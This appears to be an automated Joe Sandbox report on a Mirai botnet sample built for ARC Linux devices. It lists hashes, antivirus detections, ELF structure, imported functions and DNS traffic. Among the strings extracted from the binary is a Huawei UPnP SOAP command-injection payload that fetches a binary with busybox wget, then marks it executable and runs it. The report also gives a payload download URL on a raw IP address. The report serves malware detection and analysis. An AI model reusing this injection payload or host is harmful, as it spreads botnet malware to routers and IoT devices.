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Linux Analysis Report
cbr.arc.elf

Overview

General Information

Sample name:cbr.arc.elf
Analysis ID:1634894
MD5:95fcd8d260a0f0da91e369ad77ecebed
SHA1:a5d3300a5aaef1043023fa8adfb700000d218646
SHA256:897859905fb3642e483f2aa7cb46593dfd37aef76c9e4588bdef8e38faeeaa0f
Tags:elfMiraiuser-abuse_ch
Infos:
Errors
  • No process behavior to analyse as no analysis process or sample was found

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1634894
Start date and time:2025-03-11 06:23:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 20s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:cbr.arc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample
  • No process behavior to analyse as no analysis process or sample was found
Command:/tmp/cbr.arc.elf
PID:5530
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
cbr.arc.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
    No Suricata rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: cbr.arc.elfVirustotal: Detection: 44%Perma Link
    Source: cbr.arc.elfReversingLabs: Detection: 44%
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
    Source: cbr.arc.elfString found in binary or memory: http://80.211.94.16/bins/kowai.mips
    Source: cbr.arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: cbr.arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
    Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: ELF static info symbol of initial sample.symtab present: no
    Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0

    Stealing of Sensitive Information

    barindex
    Source: Yara matchFile source: cbr.arc.elf, type: SAMPLE

    Remote Access Functionality

    barindex
    Source: Yara matchFile source: cbr.arc.elf, type: SAMPLE
    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
    Non-Application Layer Protocol
    Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
    Application Layer Protocol
    Exfiltration Over BluetoothNetwork Denial of Service
    No configs have been found
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    cbr.arc.elf44%VirustotalBrowse
    cbr.arc.elf45%ReversingLabsLinux.Trojan.Mirai
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
    NameIPActiveMaliciousAntivirus DetectionReputation
    daisy.ubuntu.com
    162.213.35.25
    truefalse
      high
      NameSourceMaliciousAntivirus DetectionReputation
      http://schemas.xmlsoap.org/soap/encoding/cbr.arc.elffalse
        high
        http://80.211.94.16/bins/kowai.mipscbr.arc.elffalse
          unknown
          http://schemas.xmlsoap.org/soap/envelope/cbr.arc.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comcbr.x86.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            cbr.mpsl.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            .i.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            linux.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            morte.arm6.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            nabarm6.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            bin.sh.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            debug.dbg.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.spc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            .i.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped
            Entropy (8bit):6.4261862436512045
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:cbr.arc.elf
            File size:42'412 bytes
            MD5:95fcd8d260a0f0da91e369ad77ecebed
            SHA1:a5d3300a5aaef1043023fa8adfb700000d218646
            SHA256:897859905fb3642e483f2aa7cb46593dfd37aef76c9e4588bdef8e38faeeaa0f
            SHA512:a05000725c0b2460085ceb9528ba82ad53eecded4a1ba185c292795b0511714eeb465aaf163797bed0b74d162deb8e5e66efedcdcc47e5b4209d34a099b34515
            SSDEEP:768:8Hi1SwV+lC9115oJXmhMMzX2uegZ4Jm1NnwRIDoEgRaQj+X5y1TRCggy2jc/LSt:8ub911qaV1ZMmvwb0g+X5y1TRBViYLSt
            TLSH:DA130974380AF6FCD8D85334B4071EF3299245583DEED6D3B0466136FAF6388A965E0A
            File Content Preview:.ELF..............].....x...4...........4. ...(.........4...4...4.......................4...4...4................................................ ......,...,...,.......8C....... ......<...<...<.......................H...H...H... ... ...........Q.td.......

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:<unknown>
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x10d78
            Flags:0x403
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:8
            Section Header Offset:41492
            Section Header Size:40
            Number of Section Headers:23
            Header String Table Index:22
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .interpPROGBITS0x101340x1340x140x00x2A001
            .note.ABI-tagNOTE0x101480x1480x200x00x2A004
            .hashHASH0x101680x1680x1840x40x2A404
            .dynsymDYNSYM0x102ec0x2ec0x3a00x100x2A514
            .dynstrSTRTAB0x1068c0x68c0x1ac0x00x2A001
            .rela.dynRELA0x108380x8380xc0xc0x2A404
            .rela.pltRELA0x108440x8440x27c0xc0x42AI4174
            .initPROGBITS0x10ac00xac00x220x00x6AX001
            .pltPROGBITS0x10ae40xae40x2940x00x6AX004
            .textPROGBITS0x10d780xd780x7e700x00x6AX004
            .finiPROGBITS0x18be80x8be80x160x00x6AX001
            .rodataPROGBITS0x18c000x8c000xd980x00x2A004
            .eh_framePROGBITS0x199980x99980x40x00x2A004
            .ctorsPROGBITS0x1bf2c0x9f2c0x80x00x3WA004
            .dtorsPROGBITS0x1bf340x9f340x80x00x3WA004
            .dynamicDYNAMIC0x1bf3c0x9f3c0xc00x80x3WA504
            .got.pltPROGBITS0x1bffc0x9ffc0xe00x00x3WA004
            .dataPROGBITS0x1c0dc0xa0dc0x100x00x3WA004
            .bssNOBITS0x1c0ec0xa0ec0x41780x00x3WA004
            .commentPROGBITS0x00xa0ec0x430x10x30MS001
            .ARC.attributes<unknown>0x00xa12f0x300x00x0001
            .shstrtabSTRTAB0x00xa15f0xb30x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            PHDR0x340x100340x100340x1000x1002.43020x5R E0x4
            INTERP0x1340x101340x101340x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
            LOAD0x00x100000x100000x999c0x999c6.60640x5R E0x2000.interp .note.ABI-tag .hash .dynsym .dynstr .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame
            LOAD0x9f2c0x1bf2c0x1bf2c0x1c00x43382.60060x6RW 0x2000.ctors .dtors .dynamic .got.plt .data .bss
            DYNAMIC0x9f3c0x1bf3c0x1bf3c0xc00xc02.12170x6RW 0x4.dynamic
            NOTE0x1480x101480x101480x200x201.49880x4R 0x4.note.ABI-tag
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x10
            GNU_RELRO0x9f2c0x1bf2c0x1bf2c0xd40xd42.27820x4R 0x1.ctors .dtors .dynamic
            TypeMetaValueTag
            DT_NEEDEDsharedliblibc.so.00x1
            DT_INITvalue0x10ac40xc
            DT_FINIvalue0x18bec0xd
            DT_HASHvalue0x101680x4
            DT_STRTABvalue0x1068c0x5
            DT_SYMTABvalue0x102ec0x6
            DT_STRSZbytes4280xa
            DT_SYMENTbytes160xb
            DT_INITvalue0x10ac40xc
            DT_FINIvalue0x18bec0xd
            DT_DEBUGvalue0x00x15
            DT_PLTGOTvalue0x10ae40x3
            DT_PLTRELSZbytes6360x2
            DT_PLTRELpltrelDT_RELA0x14
            DT_JMPRELvalue0x108440x17
            DT_RELAvalue0x108380x7
            DT_RELASZbytes120x8
            DT_RELAENTbytes120x9
            DT_NULLvalue0x00x0
            NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
            .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
            __bss_start.dynsym0x1c0ec0NOTYPE<unknown>DEFAULT19
            __ctype_b.dynsym0x1c0ec4OBJECT<unknown>DEFAULT19
            __errno_location.dynsym0x10ce80FUNC<unknown>DEFAULTSHN_UNDEF
            __uClibc_main.dynsym0x10c7c0FUNC<unknown>DEFAULTSHN_UNDEF
            _edata.dynsym0x1c0ec0NOTYPE<unknown>DEFAULT18
            _end.dynsym0x202640NOTYPE<unknown>DEFAULT19
            atoi.dynsym0x10d000FUNC<unknown>DEFAULTSHN_UNDEF
            calloc.dynsym0x10bc80FUNC<unknown>DEFAULTSHN_UNDEF
            chdir.dynsym0x10c040FUNC<unknown>DEFAULTSHN_UNDEF
            clock.dynsym0x10d240FUNC<unknown>DEFAULTSHN_UNDEF
            close.dynsym0x10d540FUNC<unknown>DEFAULTSHN_UNDEF
            closedir.dynsym0x10d3c0FUNC<unknown>DEFAULTSHN_UNDEF
            connect.dynsym0x10b140FUNC<unknown>DEFAULTSHN_UNDEF
            exit.dynsym0x10cf40FUNC<unknown>DEFAULTSHN_UNDEF
            fcntl.dynsym0x10d480FUNC<unknown>DEFAULTSHN_UNDEF
            fork.dynsym0x10c700FUNC<unknown>DEFAULTSHN_UNDEF
            free.dynsym0x10d600FUNC<unknown>DEFAULTSHN_UNDEF
            getpid.dynsym0x10b380FUNC<unknown>DEFAULTSHN_UNDEF
            getppid.dynsym0x10ca00FUNC<unknown>DEFAULTSHN_UNDEF
            getsockname.dynsym0x10d6c0FUNC<unknown>DEFAULTSHN_UNDEF
            getsockopt.dynsym0x10cd00FUNC<unknown>DEFAULTSHN_UNDEF
            htonl.dynsym0x10c400FUNC<unknown>DEFAULTSHN_UNDEF
            htons.dynsym0x10cdc0FUNC<unknown>DEFAULTSHN_UNDEF
            inet_addr.dynsym0x10bec0FUNC<unknown>DEFAULTSHN_UNDEF
            inet_pton.dynsym0x10b200FUNC<unknown>DEFAULTSHN_UNDEF
            kill.dynsym0x10be00FUNC<unknown>DEFAULTSHN_UNDEF
            malloc.dynsym0x10b740FUNC<unknown>DEFAULTSHN_UNDEF
            memcpy.dynsym0x10b500FUNC<unknown>DEFAULTSHN_UNDEF
            memmove.dynsym0x10b2c0FUNC<unknown>DEFAULTSHN_UNDEF
            memset.dynsym0x10c880FUNC<unknown>DEFAULTSHN_UNDEF
            ntohl.dynsym0x10bf80FUNC<unknown>DEFAULTSHN_UNDEF
            ntohs.dynsym0x10c940FUNC<unknown>DEFAULTSHN_UNDEF
            open.dynsym0x10d180FUNC<unknown>DEFAULTSHN_UNDEF
            opendir.dynsym0x10cb80FUNC<unknown>DEFAULTSHN_UNDEF
            perror.dynsym0x10b5c0FUNC<unknown>DEFAULTSHN_UNDEF
            prctl.dynsym0x10b440FUNC<unknown>DEFAULTSHN_UNDEF
            puts.dynsym0x10b680FUNC<unknown>DEFAULTSHN_UNDEF
            rand.dynsym0x10c280FUNC<unknown>DEFAULTSHN_UNDEF
            read.dynsym0x10c340FUNC<unknown>DEFAULTSHN_UNDEF
            readdir.dynsym0x10bb00FUNC<unknown>DEFAULTSHN_UNDEF
            realloc.dynsym0x10c580FUNC<unknown>DEFAULTSHN_UNDEF
            recv.dynsym0x10b080FUNC<unknown>DEFAULTSHN_UNDEF
            recvfrom.dynsym0x10b8c0FUNC<unknown>DEFAULTSHN_UNDEF
            select.dynsym0x10ba40FUNC<unknown>DEFAULTSHN_UNDEF
            send.dynsym0x10bbc0FUNC<unknown>DEFAULTSHN_UNDEF
            sendto.dynsym0x10c4c0FUNC<unknown>DEFAULTSHN_UNDEF
            setsid.dynsym0x10d300FUNC<unknown>DEFAULTSHN_UNDEF
            setsockopt.dynsym0x10c100FUNC<unknown>DEFAULTSHN_UNDEF
            sleep.dynsym0x10b800FUNC<unknown>DEFAULTSHN_UNDEF
            socket.dynsym0x10b980FUNC<unknown>DEFAULTSHN_UNDEF
            sprintf.dynsym0x10cc40FUNC<unknown>DEFAULTSHN_UNDEF
            strcpy.dynsym0x10afc0FUNC<unknown>DEFAULTSHN_UNDEF
            strlen.dynsym0x10d0c0FUNC<unknown>DEFAULTSHN_UNDEF
            strstr.dynsym0x10c1c0FUNC<unknown>DEFAULTSHN_UNDEF
            strtok.dynsym0x10c640FUNC<unknown>DEFAULTSHN_UNDEF
            time.dynsym0x10cac0FUNC<unknown>DEFAULTSHN_UNDEF
            write.dynsym0x10bd40FUNC<unknown>DEFAULTSHN_UNDEF
            TimestampSource PortDest PortSource IPDest IP
            Mar 11, 2025 06:26:39.476918936 CET5752453192.168.2.151.1.1.1
            Mar 11, 2025 06:26:39.477011919 CET4512853192.168.2.151.1.1.1
            Mar 11, 2025 06:26:39.513183117 CET53575241.1.1.1192.168.2.15
            Mar 11, 2025 06:26:39.514245987 CET53451281.1.1.1192.168.2.15
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Mar 11, 2025 06:26:39.476918936 CET192.168.2.151.1.1.10x8dadStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Mar 11, 2025 06:26:39.477011919 CET192.168.2.151.1.1.10xaaedStandard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Mar 11, 2025 06:26:39.513183117 CET1.1.1.1192.168.2.150x8dadNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Mar 11, 2025 06:26:39.513183117 CET1.1.1.1192.168.2.150x8dadNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior